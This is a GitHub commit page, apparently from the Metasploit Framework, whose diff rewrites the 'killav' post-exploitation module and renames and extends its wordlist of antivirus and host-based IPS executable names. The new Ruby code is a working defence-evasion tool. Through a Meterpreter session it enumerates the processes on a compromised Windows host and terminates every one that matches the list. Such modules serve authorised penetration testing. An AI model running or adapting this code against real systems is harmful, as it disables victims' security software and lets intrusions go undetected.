Skip to content

Commit 64a91a5

Browse files
committed
Merge pull request #1 from OJ/madmantm-kill-av
Fix killav post module, handle errors, better output
2 parents 2735c03 + e1b1db9 commit 64a91a5

File tree

2 files changed

+42
-18
lines changed

2 files changed

+42
-18
lines changed

data/wordlists/av_list.txt renamed to data/wordlists/av_hips_executables.txt

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -118,6 +118,7 @@ bvt.exe
118118
ccapp.exe
119119
ccevtmgr.exe
120120
ccpxysvc.exe
121+
ccsvchst.exe
121122
cdp.exe
122123
cfd.exe
123124
cfgwiz.exe

modules/post/windows/manage/killav.rb

Lines changed: 41 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -2,34 +2,57 @@
22
# This module requires Metasploit: http://metasploit.com/download
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
5-
##
65

76
require 'msf/core'
7+
require 'set'
88

9-
class Metasploit3 < Msf::Post
9+
class Metasploit4 < Msf::Post
1010

1111
def initialize(info={})
1212
super(update_info(info,
13-
'Name' => 'Windows Post Kill Antivirus and Hips',
14-
'Description' => %q{
15-
Converted and merged several post scripts to remove a maximum of av and hips.
16-
},
17-
'License' => MSF_LICENSE,
18-
'Author' => [ 'Marc-Andre Meloche (MadmanTM)', 'Nikhil Mittal (Samratashok)', 'Jerome Athias'],
19-
'Platform' => [ 'win' ],
20-
'SessionTypes' => [ 'meterpreter' ]
13+
'Name' => 'Windows Post Kill Antivirus and Hips',
14+
'Description' => %q{
15+
This module attempts to locate and terminate any processes that are identified
16+
as being Antivirus or Host-based IPS related.
17+
},
18+
'License' => MSF_LICENSE,
19+
'Author' => [
20+
'Marc-Andre Meloche (MadmanTM)',
21+
'Nikhil Mittal (Samratashok)',
22+
'Jerome Athias'
23+
],
24+
'Platform' => ['win'],
25+
'SessionTypes' => ['meterpreter']
2126
))
2227
end
2328

2429
def run
30+
avs = ::File.read(::File.join(Msf::Config.data_directory, 'wordlists',
31+
'av_hips_executables.txt')).strip
32+
avs = Set.new(avs.split("\n"))
2533

26-
avs = ::File.read(::File.join(Msf::Config.data_directory, 'wordlists', 'av_list.txt'))
34+
processes_found = 0
35+
processes_killed = 0
36+
client.sys.process.get_processes().each do |x|
37+
vprint_status("Checking #{x['name'].downcase} ...")
38+
if avs.include?(x['name'].downcase)
39+
processes_found += 1
40+
print_status("Attempting to terminate '#{x['name']}' (PID: #{x['pid']}) ...")
41+
begin
42+
client.sys.process.kill(x['pid'])
43+
processes_killed += 1
44+
print_good("#{x['name']} terminated.")
45+
rescue Rex::Post::Meterpreter::RequestError
46+
print_error("Failed to terminate '#{x['name']}' (PID: #{x['pid']}).")
47+
end
48+
end
49+
end
50+
51+
if processes_found == 0
52+
print_status('No target processes were found.')
53+
else
54+
print_good("A total of #{processes_found} process(es) were discovered, #{processes_killed} were terminated.")
55+
end
56+
end
2757

28-
client.sys.process.get_processes().each do |x|
29-
if avs.include?(x['name'].downcase)
30-
print_status("Killing off #{x['name']}...")
31-
client.sys.process.kill(x['pid'])
32-
end
33-
end
34-
end
3558
end

0 commit comments

Comments
 (0)